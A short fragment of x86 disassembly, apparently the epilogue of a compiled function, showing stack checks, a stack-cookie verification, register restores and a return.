cmp esi, esp
call fcn.1013ca23
mov eax, dword [ebp - 0xc]
push edx
mov ecx, ebp
push eax
lea edx, [0x1026c27c]
call fcn.1013bc63
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1013a69c
add esp, 0x3c8
cmp ebp, esp
call fcn.1013ca23
mov esp, ebp
pop ebp
ret